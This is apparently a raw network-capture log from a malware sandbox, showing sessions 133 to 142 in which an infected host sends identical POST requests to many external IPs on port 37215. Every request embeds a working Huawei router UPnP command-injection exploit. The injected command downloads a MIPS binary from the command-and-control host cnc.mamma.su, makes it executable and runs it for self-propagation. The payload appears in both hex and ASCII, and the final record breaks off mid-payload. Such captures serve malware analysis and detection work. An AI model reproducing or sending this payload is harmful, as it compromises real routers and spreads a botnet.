61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	46172	41.249.45.71	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582792997 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	35452	156.51.154.23	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582814932 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	40118	41.255.147.131	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582827091 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	45892	156.168.155.198	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582849979 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	46730	156.159.254.214	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582882881 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	50546	197.43.146.71	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582907915 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	57920	41.101.31.244	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582923889 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	47844	41.90.42.198	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582945108 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	58192	41.125.158.191	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582961082 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	54560	156.226.106.180	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582981110 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet 